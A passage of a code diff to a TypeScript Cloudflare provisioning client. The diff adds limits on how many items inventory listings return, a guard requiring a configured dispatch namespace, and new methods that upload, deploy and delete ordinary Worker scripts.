AsyncIterable | Iterable, + label: string, + max = DEFAULT_INVENTORY_BOUND, + ): AsyncGenerator { + let count = 0; + for await (const item of iterable) { + count += 1; + if (count > max) { + throw inventoryBoundExceeded(label, max); + } + yield item; + } + } + + #requireDispatchNamespace(operation: string): string { + if (this.#dispatchNamespace === undefined) { + throw new CloudflarePlaneCapabilityError(operation); + } + return this.#dispatchNamespace; } async withMutationFence( @@ -581,11 +911,14 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); const zoneIds: string[] = []; const seenZoneIds = new Set(); - for await (const zone of this.#client.zones.list({ - account: { id: this.#accountId }, - per_page: 50, - type: ['full', 'partial', 'secondary', 'internal'], - })) { + for await (const zone of this.#collectBounded( + this.#client.zones.list({ + account: { id: this.#accountId }, + per_page: 50, + type: ['full', 'partial', 'secondary', 'internal'], + }), + 'zone inventory', + )) { if (zone.account.id !== this.#accountId) { throw new Error( `Cloudflare returned zone '${zone.id}' outside account '${this.#accountId}'`, @@ -606,13 +939,15 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { accountId: string; dispatchNamespace: string; }> { + const dispatchNamespace = + this.#requireDispatchNamespace('platformPlaneScope'); return { accountId: this.#accountId, - dispatchNamespace: this.#dispatchNamespace, + dispatchNamespace, }; } - async #assertUntrustedDispatchNamespace(): Promise< + async #assertUntrustedDispatchNamespace(dispatchNamespace: string): Promise< Readonly<{ name: string; namespaceId?: string; @@ -622,15 +957,15 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { > { const namespace = await this.#client.workersForPlatforms.dispatch.namespaces.get( - this.#dispatchNamespace, + dispatchNamespace, { account_id: this.#accountId }, ); if ( - namespace.namespace_name !== this.#dispatchNamespace || + namespace.namespace_name !== dispatchNamespace || namespace.trusted_workers !== false ) { throw new Error( - `dispatch namespace '${this.#dispatchNamespace}' must attest trusted_workers=false`, + `dispatch namespace '${dispatchNamespace}' must attest trusted_workers=false`, ); } if ( @@ -639,7 +974,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { namespace.script_count < 0 ) { throw new Error( - `dispatch namespace '${this.#dispatchNamespace}' returned no valid script_count`, + `dispatch namespace '${dispatchNamespace}' returned no valid script_count`, ); } return { @@ -653,11 +988,42 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } async assertUntrustedDispatchNamespace(): Promise { + const dispatchNamespace = this.#requireDispatchNamespace( + 'assertUntrustedDispatchNamespace', + ); await this.#schedule(async () => { - await this.#assertUntrustedDispatchNamespace(); + await this.#assertUntrustedDispatchNamespace(dispatchNamespace); }); } + async *#dispatchNamespaces(): AsyncGenerator { + let yielded = false; + try { + const listed = this.#client.workersForPlatforms.dispatch.namespaces.list({ + account_id: this.#accountId, + }); + for await (const namespace of this.#collectBounded( + listed, + 'dispatch namespace inventory', + )) { + yielded = true; + yield namespace; + } + } catch (error) { + // Only a plain-only account can prove the account-wide namespace set is + // empty from an initial 404; a partial scan is never exhaustive. The + // installed SDK's SinglePage never issues a second request, so the + // yielded guard is a forward-looking invariant rather than a live path. + if ( + this.#dispatchNamespace !== undefined || + yielded || + !isNotFound(error) + ) { + throw error; + } + } + } + async listWorkerDatabaseAttachments(databaseId: string): Promise< readonly Readonly<{ scriptName: string; @@ -685,9 +1051,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ...(dispatchNamespace ? { dispatchNamespace } : {}), }); }; - for await (const script of this.#client.workers.scripts.list({ - account_id: this.#accountId, - })) { + for await (const script of this.#collectBounded( + this.#client.workers.scripts.list({ account_id: this.#accountId }), + 'ordinary Worker script inventory', + )) { if (typeof script.id !== 'string' || script.id.length === 0) { throw new Error( 'Cloudflare ordinary Worker listing contained a script without an id', @@ -744,9 +1111,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } } } - for await (const namespace of this.#client.workersForPlatforms.dispatch.namespaces.list( - { account_id: this.#accountId }, - )) { + for await (const namespace of this.#dispatchNamespaces()) { if ( typeof namespace.namespace_name !== 'string' || namespace.namespace_name.length === 0 @@ -795,9 +1160,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { plane: 'ordinary' | 'dispatch'; dispatchNamespace?: string; }> = []; - for await (const script of this.#client.workers.scripts.list({ - account_id: this.#accountId, - })) { + for await (const script of this.#collectBounded( + this.#client.workers.scripts.list({ account_id: this.#accountId }), + 'ordinary Worker script inventory', + )) { if (!script.id) throw new Error('ordinary Worker has no id'); const deployments = await this.#client.workers.scripts.deployments.list( script.id, @@ -825,9 +1191,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } } } - for await (const namespace of this.#client.workersForPlatforms.dispatch.namespaces.list( - { account_id: this.#accountId }, - )) { + for await (const namespace of this.#dispatchNamespaces()) { if (!namespace.namespace_name) { throw new Error('dispatch namespace has no name'); } @@ -930,13 +1294,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { resource: import('./types.js').ApplicationR2Binding, ): Promise { await this.#schedule(async () => { - for await (const object of this.#client.r2.buckets.objects.list( - resource.bucketName, - { + for await (const object of this.#collectBounded( + this.#client.r2.buckets.objects.list(resource.bucketName, { account_id: this.#accountId, jurisdiction: resource.jurisdiction, per_page: 1, - }, + }), + 'R2 object inventory', )) { if (object.key) { throw new Error(`R2 bucket '${resource.bucketName}' is not empty`); @@ -968,9 +1332,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { async #ordinaryWorkerSecretNames(scriptName: string): Promise { const names: string[] = []; try { - for await (const secret of this.#client.workers.scripts.secrets.list( - scriptName, - { account_id: this.#accountId }, + for await (const secret of this.#collectBounded( + this.#client.workers.scripts.secrets.list(scriptName, { + account_id: this.#accountId, + }), + 'ordinary Worker secret inventory', )) { if (!secret.name) { throw new Error( @@ -987,10 +1353,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } async #dispatchScripts( - dispatchNamespace = this.#dispatchNamespace, + dispatchNamespace: string, ): Promise[]> { const scripts: Array> = []; + let itemCount = 0; let cursor: string | undefined; const seenCursors = new Set(); do { @@ -1022,6 +1389,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ); } for (const item of result) { + itemCount += 1; + if (itemCount > DEFAULT_INVENTORY_BOUND) { + throw inventoryBoundExceeded( + 'dispatch script inventory', + DEFAULT_INVENTORY_BOUND, + ); + } if (!item || typeof item !== 'object' || !('id' in item)) { throw new Error( 'Cloudflare dispatch script listing contained an invalid item', @@ -1072,13 +1446,304 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { return scripts; } + async listOrdinaryWorkerDatabases(): Promise< + readonly PlainWorkerDatabaseInventoryEntry[] + > { + return this.#schedule(async () => { + const databases: PlainWorkerDatabaseInventoryEntry[] = []; + for await (const database of this.#collectBounded( + this.#client.d1.database.list({ + account_id: this.#accountId, + per_page: 100, + }), + 'D1 database inventory', + MAX_DATABASE_INVENTORY, + )) { + databases.push({ + databaseId: readStringField(database, 'uuid'), + name: readStringField(database, 'name'), + }); + } + return databases; + }); + } + + async ordinaryWorkerDeploymentStatus( + scriptName: string, + ): Promise { + return this.#schedule(async () => { + try { + const listed = await this.#client.workers.scripts.deployments.list( + scriptName, + { + account_id: this.#accountId, + }, + ); + const deployment = listed.deployments[0]; + if (!deployment) return undefined; + return { + versions: readArrayField(deployment, 'versions').map((version) => { + const rawPercentage = readField(version, 'percentage'); + return { + versionId: + readStringField(version, 'id') ?? + readStringField(version, 'version_id'), + percentage: + rawPercentage === undefined ? undefined : Number(rawPercentage), + }; + }), + }; + } catch (error) { + if (isNotFound(error)) return undefined; + throw error; + } + }); + } + + async listOrdinaryWorkerVersions( + scriptName: string, + ): Promise { + return this.#schedule(async () => { + let yielded = false; + try { + const versions: PlainWorkerVersionSummary[] = []; + for await (const version of this.#collectBounded( + this.#client.workers.scripts.versions.list(scriptName, { + account_id: this.#accountId, + per_page: 100, + }), + 'ordinary Worker version inventory', + MAX_VERSION_INVENTORY, + )) { + yielded = true; + versions.push({ + versionId: + readStringField(version, 'id') ?? + readStringField(version, 'version_id'), + tag: readWorkerVersionTag(version), + }); + } + return versions; + } catch (error) { + if (!yielded && isNotFound(error)) return undefined; + throw error; + } + }); + } + + async viewOrdinaryWorkerVersion( + scriptName: string, + versionId: string, + ): Promise { + return this.#schedule(async () => { + const version = await this.#client.workers.scripts.versions.get( + versionId, + { account_id: this.#accountId, script_name: scriptName }, + ); + return { + versionId: + readStringField(version, 'id') ?? + readStringField(version, 'version_id'), + tag: readWorkerVersionTag(version), + bindings: providerBindingsToPlainWorkerShape( + readArrayField(readField(version, 'resources'), 'bindings'), + ), + }; + }); + } + + async findOrdinaryWorkerVersion( + scriptName: string, + versionId: string, + ): Promise { + try { + return await this.viewOrdinaryWorkerVersion(scriptName, versionId); + } catch (error) { + if (isNotFound(error)) return undefined; + throw error; + } + } + + async prepareOrdinaryWorkerUpload( + intent: PlainWorkerUploadIntent, + ): Promise { + for (const module of intent.modules) { + if ( + !module || + typeof module.name !== 'string' || + (typeof module.content !== 'string' && + !(module.content instanceof Uint8Array)) || + (module.contentType !== undefined && + typeof module.contentType !== 'string') + ) { + throw new TypeError( + 'ordinary Worker modules must contain valid upload data', + ); + } + } + const bindings = uploadIntentToProviderBindings(intent); + const secretValues = intent.bindings.secrets.map(({ value }) => value); + const baseMetadata: StagedOrdinaryWorkerUploadMetadata = { + main_module: intent.mainModule, + bindings, + compatibility_date: intent.compatibilityDate, + compatibility_flags: intent.compatibilityFlags + ? [...intent.compatibilityFlags] + : undefined, + limits: + intent.limits.cpuMs === undefined + ? undefined + : { cpu_ms: intent.limits.cpuMs }, + annotations: { 'workers/tag': intent.candidateTag }, + }; + const metadata: OrdinaryWorkerUploadMetadata = + intent.mode === 'initial' + ? { + ...baseMetadata, + migrations: workerMigrations(intent.durableObjectMigrations), + } + : baseMetadata; + const encodedMetadata = JSON.stringify(metadata); + const files = await Promise.all( + intent.modules.map((module) => + toFile( + typeof module.content === 'string' + ? new TextEncoder().encode(module.content) + : module.content, + module.name, + { + type: module.contentType ?? 'application/javascript+module', + }, + ), + ), + ); + return { + [PREPARED_ORDINARY_WORKER_UPLOAD]: true, + intent, + files, + metadata: encodedMetadata, + secretValues, + }; + } + + async dispatchOrdinaryWorkerUpload( + prepared: PreparedOrdinaryWorkerUpload, + ): Promise { + const { files, intent, metadata, secretValues } = prepared; + await this.#schedule(async () => { + const subdomain = this.#client.workers.scripts.subdomain; + const uploadBody = { + account_id: this.#accountId, + files: [...files], + // cloudflare/internal/uploads.mjs:102-129 bracket-flattens objects; + // Wrangler 4.118.0 serializes the same metadata value as JSON. + metadata: metadata as never, + }; + const send = async (call: () => Promise): Promise => { + try { + await call(); + } catch (error) { + throw sanitizeProviderError(error, secretValues); + } + }; + if (intent.mode === 'initial') { + await send(() => + this.#client.workers.scripts.update(intent.scriptName, uploadBody, { + maxRetries: 0, + }), + ); + // Sanitization is limited to the upload request that carries secrets. + // Cloudflare rejects subdomain writes before the script exists. The + // caller attests public access before adopting a reconciled upload. + await subdomain.create(intent.scriptName, { + account_id: this.#accountId, + enabled: intent.publicAccess.workersDevEnabled, + previews_enabled: intent.publicAccess.previewUrlsEnabled, + }); + return; + } + const current = await subdomain.get(intent.scriptName, { + account_id: this.#accountId, + }); + if ( + current.enabled !== intent.publicAccess.workersDevEnabled || + current.previews_enabled !== intent.publicAccess.previewUrlsEnabled + ) { + // The staged path can converge public access first because the script + // exists; write-on-difference moves it toward the constant intent. + await subdomain.create(intent.scriptName, { + account_id: this.#accountId, + enabled: intent.publicAccess.workersDevEnabled, + previews_enabled: intent.publicAccess.previewUrlsEnabled, + }); + } + await send(() => + this.#client.workers.scripts.versions.create( + intent.scriptName, + uploadBody, + { maxRetries: 0 }, + ), + ); + }); + } + + prepareOrdinaryWorkerDeployment( + versions: readonly OrdinaryWorkerDeploymentVersion[], + ): PreparedOrdinaryWorkerDeploymentVersions { + assertOrdinaryWorkerDeploymentVersions(versions); + return Object.assign( + versions.map(({ versionId, percentage }) => ({ + percentage, + version_id: versionId, + })), + { [PREPARED_ORDINARY_WORKER_DEPLOYMENT_VERSIONS]: true as const }, + ); + } + + async dispatchOrdinaryWorkerDeployment( + scriptName: string, + versions: PreparedOrdinaryWorkerDeploymentVersions, + ): Promise { + await this.#schedule(() => + this.#client.workers.scripts.deployments.create( + scriptName, + { + account_id: this.#accountId, + strategy: 'percentage', + versions: [...versions], + }, + { maxRetries: 0 }, + ), + ); + } + + async deleteOrdinaryWorkerScript( + scriptName: string, + ): Promise<'deleted' | 'absent'> { + return this.#schedule(async () => { + try { + await this.#client.workers.scripts.delete(scriptName, { + account_id: this.#accountId, + }); + return 'deleted'; + } catch (error) { + if (isNotFound(error)) return 'absent'; + throw error; + } + }); + } + async findDatabase(name: string): Promise { return this.#schedule(async () => { const matches: DatabaseReference[] = []; - for await (const database of this.#client.d1.database.list({ - account_id: this.#accountId, - name, - })) { + for await (const database of this.#collectBounded( + this.#client.d1.database.list({ + account_id: this.#accountId, + name, + }), + 'D1 database inventory', + MAX_DATABASE_INVENTORY, + )) { if (database.name === name && database.uuid) { matches.push({ id: database.uuid, name, created: false }); } @@ -1116,12 +1781,18 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } async ensureDispatchNamespace(): Promise { + const dispatchNamespace = this.#requireDispatchNamespace( + 'ensureDispatchNamespace', + ); await this.#schedule(async () => { let found = false; - for await (const namespace of this.#client.workersForPlatforms.dispatch.namespaces.list( - { account_id: this.#accountId }, + for await (const namespace of this.#collectBounded( + this.#client.workersForPlatforms.dispatch.namespaces.list({ + account_id: this.#accountId, + }), + 'dispatch namespace inventory', )) { - if (namespace.namespace_name === this.#dispatchNamespace) { + if (namespace.namespace_name === dispatchNamespace) { found = true; break; } @@ -1129,10 +1800,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { if (!found) { await this.#client.workersForPlatforms.dispatch.namespaces.create({ account_id: this.#accountId, - name: this.#dispatchNamespace, + name: dispatchNamespace, }); } - await this.#assertUntrustedDispatchNamespace(); + await this.#assertUntrustedDispatchNamespace(dispatchNamespace); }); } @@ -1337,9 +2008,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { > = []; const routes: FleetResourceInventory['routes'][number][] = []; if (options.hostRoutingKvId) { - for await (const key of this.#client.kv.namespaces.keys.list( - options.hostRoutingKvId, - { account_id: this.#accountId }, + for await (const key of this.#collectBounded( + this.#client.kv.namespaces.keys.list(options.hostRoutingKvId, { + account_id: this.#accountId, + }), + 'host-routing KV key inventory', )) { if (!key.name) continue; const isRegistration = key.name.startsWith(SCRIPT_INVENTORY_PREFIX); @@ -1515,7 +2188,9 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const includeDispatchNamespace = options.includeDispatchNamespace ?? options.hostRoutingKvId !== undefined; const dispatchScripts = includeDispatchNamespace - ? await this.#dispatchScripts() + ? await this.#dispatchScripts( + this.#requireDispatchNamespace('collectFleetInventory'), + ) : []; const dispatchScriptsByName = new Map( dispatchScripts.map((script) => [script.id, script]), @@ -1549,6 +2224,7 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { try { live = await this.inspectDispatchWorker(registration.scriptName); } catch (error) { + if (error instanceof CloudflarePlaneCapabilityError) throw error; findings.push({ tenantTag: registration.tenantTag, environment: registration.environment, @@ -1641,38 +2317,41 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { let dispatchScriptCount: number | undefined; let dispatchNamespaceInventory: FleetResourceInventory['dispatchNamespace']; if (includeDispatchNamespace) { - const dispatchNamespace = + const dispatchNamespace = this.#requireDispatchNamespace( + 'collectFleetInventory', + ); + const namespaceInventory = await this.#client.workersForPlatforms.dispatch.namespaces.get( - this.#dispatchNamespace, + dispatchNamespace, { account_id: this.#accountId }, ); - dispatchScriptCount = dispatchNamespace.script_count; + dispatchScriptCount = namespaceInventory.script_count; if ( typeof dispatchScriptCount !== 'number' || !Number.isSafeInteger(dispatchScriptCount) || dispatchScriptCount < 0 ) { throw new Error( - `dispatch namespace '${this.#dispatchNamespace}' returned no valid script_count`, + `dispatch namespace '${dispatchNamespace}' returned no valid script_count`, ); } dispatchNamespaceInventory = { - name: dispatchNamespace.namespace_name ?? this.#dispatchNamespace, - ...(dispatchNamespace.namespace_id - ? { namespaceId: dispatchNamespace.namespace_id } + name: namespaceInventory.namespace_name ?? dispatchNamespace, + ...(namespaceInventory.namespace_id + ? { namespaceId: namespaceInventory.namespace_id } : {}), - trustedWorkers: dispatchNamespace.trusted_workers, + trustedWorkers: namespaceInventory.trusted_workers, scriptCount: dispatchScriptCount, }; if ( - dispatchNamespace.namespace_name !== this.#dispatchNamespace || - dispatchNamespace.trusted_workers !== false + namespaceInventory.namespace_name !== dispatchNamespace || + namespaceInventory.trusted_workers !== false ) { findings.push({ tenantTag: 'unknown', environment: 'unknown', kind: 'trusted-dispatch-namespace', - detail: `dispatch namespace '${this.#dispatchNamespace}' does not attest trusted_workers=false`, + detail: `dispatch namespace '${dispatchNamespace}' does not attest trusted_workers=false`, }); } if (dispatchScriptCount > dispatchScripts.length) { @@ -1680,15 +2359,16 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { tenantTag: 'unknown', environment: 'unknown', kind: 'unknown-dispatch-scripts', - detail: `dispatch namespace '${this.#dispatchNamespace}' reports ${dispatchScriptCount - dispatchScripts.length} script(s) missing from the paginated listing`, + detail: `dispatch namespace '${dispatchNamespace}' reports ${dispatchScriptCount - dispatchScripts.length} script(s) missing from the paginated listing`, }); } } const customDomains = []; - for await (const domain of this.#client.workers.domains.list({ - account_id: this.#accountId, - })) { + for await (const domain of this.#collectBounded( + this.#client.workers.domains.list({ account_id: this.#accountId }), + 'custom domain inventory', + )) { if (domain.service.startsWith(options.scriptNamePrefix)) { customDomains.push(domain); } @@ -1698,9 +2378,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { > = []; const workerRouteZoneIds = await this.#workerRouteZoneIds(); for (const zoneId of workerRouteZoneIds) { - for await (const route of this.#client.workers.routes.list({ - zone_id: zoneId, - })) { + for await (const route of this.#collectBounded( + this.#client.workers.routes.list({ zone_id: zoneId }), + 'Worker zone-route inventory', + )) { if ( route.script?.startsWith(options.scriptNamePrefix) && route.id && @@ -1719,9 +2400,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { string, { readonly tenantTag: string; readonly environment: string } >(); - for await (const script of this.#client.workers.scripts.list({ - account_id: this.#accountId, - })) { + for await (const script of this.#collectBounded( + this.#client.workers.scripts.list({ account_id: this.#accountId }), + 'ordinary Worker script inventory', + )) { const scriptName = script.id; if (!scriptName?.startsWith(options.scriptNamePrefix)) continue; try { @@ -1939,9 +2621,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } const databaseIds: string[] = []; - for await (const database of this.#client.d1.database.list({ - account_id: this.#accountId, - })) { + for await (const database of this.#collectBounded( + this.#client.d1.database.list({ account_id: this.#accountId }), + 'D1 database inventory', + MAX_DATABASE_INVENTORY, + )) { if ( database.uuid && database.name?.startsWith(options.databaseNamePrefix) @@ -1953,9 +2637,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const registeredScriptNames = new Set( registrations.map((registration) => registration.scriptName), ); - for await (const namespace of this.#client.durableObjects.namespaces.list({ - account_id: this.#accountId, - })) { + for await (const namespace of this.#collectBounded( + this.#client.durableObjects.namespaces.list({ + account_id: this.#accountId, + }), + 'Durable Object namespace inventory', + )) { if ( namespace.id && namespace.script && @@ -1999,6 +2686,14 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { `R2 bucket '${bucket.name}' has no valid creation date`, ); } + if (r2Buckets.length >= DEFAULT_INVENTORY_BOUND) { + // The bound counts only accepted fleet-owned buckets, not every + // provider item scanned while filtering by prefix. + throw inventoryBoundExceeded( + 'R2 bucket inventory', + DEFAULT_INVENTORY_BOUND, + ); + } r2Buckets.push({ bucketName: bucket.name, jurisdiction, @@ -2035,9 +2730,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { async hasDurableObjectNamespace(namespaceId: string): Promise { if (!namespaceId) throw new Error('namespaceId is required'); - for await (const namespace of this.#client.durableObjects.namespaces.list({ - account_id: this.#accountId, - })) { + for await (const namespace of this.#collectBounded( + this.#client.durableObjects.namespaces.list({ + account_id: this.#accountId, + }), + 'Durable Object namespace inventory', + )) { if (namespace.id === namespaceId) return true; } return false; @@ -2048,9 +2746,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ): Promise { if (!scriptName) throw new Error('scriptName is required'); const namespaceIds: string[] = []; - for await (const namespace of this.#client.durableObjects.namespaces.list({ - account_id: this.#accountId, - })) { + for await (const namespace of this.#collectBounded( + this.#client.durableObjects.namespaces.list({ + account_id: this.#accountId, + }), + 'Durable Object namespace inventory', + )) { if (namespace.script === scriptName && namespace.id) { namespaceIds.push(namespace.id); } @@ -2104,9 +2805,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ): Promise { await this.#schedule(async () => { const currentSecretNames: string[] = []; - for await (const secret of this.#client.workers.scripts.secrets.list( - scriptName, - { account_id: this.#accountId }, + for await (const secret of this.#collectBounded( + this.#client.workers.scripts.secrets.list(scriptName, { + account_id: this.#accountId, + }), + 'ordinary Worker secret inventory', )) { if (!secret.name) { throw new Error( @@ -2135,9 +2838,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }); } const secretNames: string[] = []; - for await (const secret of this.#client.workers.scripts.secrets.list( - scriptName, - { account_id: this.#accountId }, + for await (const secret of this.#collectBounded( + this.#client.workers.scripts.secrets.list(scriptName, { + account_id: this.#accountId, + }), + 'ordinary Worker secret inventory', )) { if (secret.name) secretNames.push(secret.name); } @@ -2297,18 +3002,20 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { `control Worker '${scriptName}'`, ); const routeHostnames: string[] = []; - for await (const domain of this.#client.workers.domains.list({ - account_id: this.#accountId, - })) { + for await (const domain of this.#collectBounded( + this.#client.workers.domains.list({ account_id: this.#accountId }), + 'custom domain inventory', + )) { if (domain.service === scriptName) routeHostnames.push(domain.hostname); } const zoneRoutes: import('./types.js').WorkerZoneRoute[] = []; const workerRouteZoneIds = await this.#workerRouteZoneIds(); for (const zoneId of workerRouteZoneIds) { - for await (const route of this.#client.workers.routes.list({ - zone_id: zoneId, - })) { + for await (const route of this.#collectBounded( + this.#client.workers.routes.list({ zone_id: zoneId }), + 'Worker zone-route inventory', + )) { if (route.script !== scriptName) continue; zoneRoutes.push({ zoneId, @@ -2351,9 +3058,11 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const listNames = async (): Promise => { try { const names: string[] = []; - for await (const secret of this.#client.workers.scripts.secrets.list( - scriptName, - { account_id: this.#accountId }, + for await (const secret of this.#collectBounded( + this.#client.workers.scripts.secrets.list(scriptName, { + account_id: this.#accountId, + }), + 'ordinary Worker secret inventory', )) { if (!secret.name) { throw new Error( @@ -2401,9 +3110,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } catch (error) { if (!isNotFound(error)) throw error; } - for await (const domain of this.#client.workers.domains.list({ - account_id: this.#accountId, - })) { + for await (const domain of this.#collectBounded( + this.#client.workers.domains.list({ account_id: this.#accountId }), + 'custom domain inventory', + )) { if (domain.service !== scriptName || !domain.id) continue; try { await this.#client.workers.domains.delete(domain.id, { @@ -2414,9 +3124,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } } for (const zoneId of workerRouteZoneIds) { - for await (const route of this.#client.workers.routes.list({ - zone_id: zoneId, - })) { + for await (const route of this.#collectBounded( + this.#client.workers.routes.list({ zone_id: zoneId }), + 'Worker zone-route inventory', + )) { if (route.script !== scriptName) continue; try { await this.#client.workers.routes.delete(route.id, { @@ -2473,9 +3184,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { return this.#schedule(async () => { const domains: Array = []; - for await (const domain of this.#client.workers.domains.list({ - account_id: this.#accountId, - })) { + for await (const domain of this.#collectBounded( + this.#client.workers.domains.list({ account_id: this.#accountId }), + 'custom domain inventory', + )) { if (!domain.id || !domain.hostname || !domain.service) { throw new Error( 'Cloudflare returned incomplete custom-domain metadata', @@ -2569,9 +3281,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ): Promise { return this.#schedule(async () => { let scriptPresent = false; - for await (const script of this.#client.workers.scripts.list({ - account_id: this.#accountId, - })) { + for await (const script of this.#collectBounded( + this.#client.workers.scripts.list({ account_id: this.#accountId }), + 'ordinary Worker script inventory', + )) { if (script.id === scriptName) scriptPresent = true; } const customDomains: Array<{ @@ -2579,9 +3292,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { hostname: string; service: string; }> = []; - for await (const domain of this.#client.workers.domains.list({ - account_id: this.#accountId, - })) { + for await (const domain of this.#collectBounded( + this.#client.workers.domains.list({ account_id: this.#accountId }), + 'custom domain inventory', + )) { if (domain.service !== scriptName) continue; if (!domain.id || !domain.hostname) { throw new Error( @@ -2596,9 +3310,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { } const zoneRoutes: import('./types.js').WorkerZoneRoute[] = []; for (const zoneId of await this.#workerRouteZoneIds()) { - for await (const route of this.#client.workers.routes.list({ - zone_id: zoneId, - })) { + for await (const route of this.#collectBounded( + this.#client.workers.routes.list({ zone_id: zoneId }), + 'Worker zone-route inventory', + )) { if (route.script !== scriptName) continue; if (!route.id || !route.pattern) { throw new Error( @@ -2646,9 +3361,10 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { }): Promise { await this.#schedule(async () => { const matches = []; - for await (const queue of this.#client.queues.list({ - account_id: this.#accountId, - })) { + for await (const queue of this.#collectBounded( + this.#client.queues.list({ account_id: this.#accountId }), + 'queue inventory', + )) { if (queue.queue_name === options.queueName && queue.queue_id) { matches.push(queue); } @@ -2661,9 +3377,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const queueId = matches[0]?.queue_id; if (!queueId) throw new Error('audit queue result has no queue_id'); const consumers = []; - for await (const consumer of this.#client.queues.consumers.list(queueId, { - account_id: this.#accountId, - })) { + for await (const consumer of this.#collectBounded( + this.#client.queues.consumers.list(queueId, { + account_id: this.#accountId, + }), + 'queue consumer inventory', + )) { consumers.push(consumer); } if (consumers.length > 1) { @@ -2711,9 +3430,12 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { ); } const finalConsumers = []; - for await (const consumer of this.#client.queues.consumers.list(queueId, { - account_id: this.#accountId, - })) { + for await (const consumer of this.#collectBounded( + this.#client.queues.consumers.list(queueId, { + account_id: this.#accountId, + }), + 'queue consumer inventory', + )) { finalConsumers.push(consumer); } if ( @@ -2730,10 +3452,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { async createDatabase(name: string): Promise { return this.#schedule(async () => { - const database = await this.#client.d1.database.create({ - account_id: this.#accountId, - name, - }); + const database = await this.#client.d1.database.create( + { + account_id: this.#accountId, + name, + }, + { maxRetries: 0 }, + ); if (!database.uuid || database.name !== name) { throw new Error( `Cloudflare returned an invalid D1 create result for '${name}'`, @@ -2751,11 +3476,18 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const params = d1RestParameters(bindings, 'D1 query'); return this.#schedule(async () => { const rows: Readonly>[] = []; - for await (const result of this.#client.d1.database.query(databaseId, { - account_id: this.#accountId, - sql, - params, - })) { + for await (const result of this.#collectBounded( + this.#client.d1.database.query( + databaseId, + { + account_id: this.#accountId, + sql, + params, + }, + { maxRetries: 0 }, + ), + 'D1 query result inventory', + )) { if (result.success === false) { throw new Error(`D1 query failed for database '${databaseId}'`); } @@ -2781,10 +3513,17 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { params: d1RestParameters(statement.bindings ?? [], 'D1 batch'), })); await this.#schedule(async () => { - for await (const result of this.#client.d1.database.query(databaseId, { - account_id: this.#accountId, - batch, - })) { + for await (const result of this.#collectBounded( + this.#client.d1.database.query( + databaseId, + { + account_id: this.#accountId, + batch, + }, + { maxRetries: 0 }, + ), + 'D1 batch result inventory', + )) { if (result.success === false) { throw new Error(`D1 batch failed for database '${databaseId}'`); } @@ -2799,6 +3538,9 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { platformResources?: import('./types.js').ExternalPlatformResources, application?: import('./types.js').ApplicationBindingTopology, ): Promise<{ artifactVersion: string }> { + const dispatchNamespace = this.#requireDispatchNamespace( + 'uploadDispatchWorker', + ); if (spec.authoredBy === 'external' && !platformResources) { throw new Error('external dispatch upload requires platform resources'); } @@ -2917,13 +3659,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { const migrations = dispatchMigrations(spec); return this.#schedule(async () => { - await this.#assertUntrustedDispatchNamespace(); + await this.#assertUntrustedDispatchNamespace(dispatchNamespace); const result = await this.#client.workersForPlatforms.dispatch.namespaces.scripts.update( physicalScriptName, { account_id: this.#accountId, - dispatch_namespace: this.#dispatchNamespace, + dispatch_namespace: dispatchNamespace, bindings_inherit: 'strict', files, metadata: { @@ -2971,6 +3713,9 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { readonly sharedOutboundWorkerName: string; readonly stateEgressCredentialDigest: string; }): Promise<{ artifactVersion: string }> { + const dispatchNamespace = this.#requireDispatchNamespace( + 'uploadNamespacedStateWorker', + ); const { spec } = options; const scriptName = externalStateScriptName(spec); const resourceGroupId = externalPlatformResourceGroupId(spec); @@ -3104,13 +3849,13 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { compatibilityFlags: options.artifact.compatibilityFlags, }; return this.#schedule(async () => { - await this.#assertUntrustedDispatchNamespace(); + await 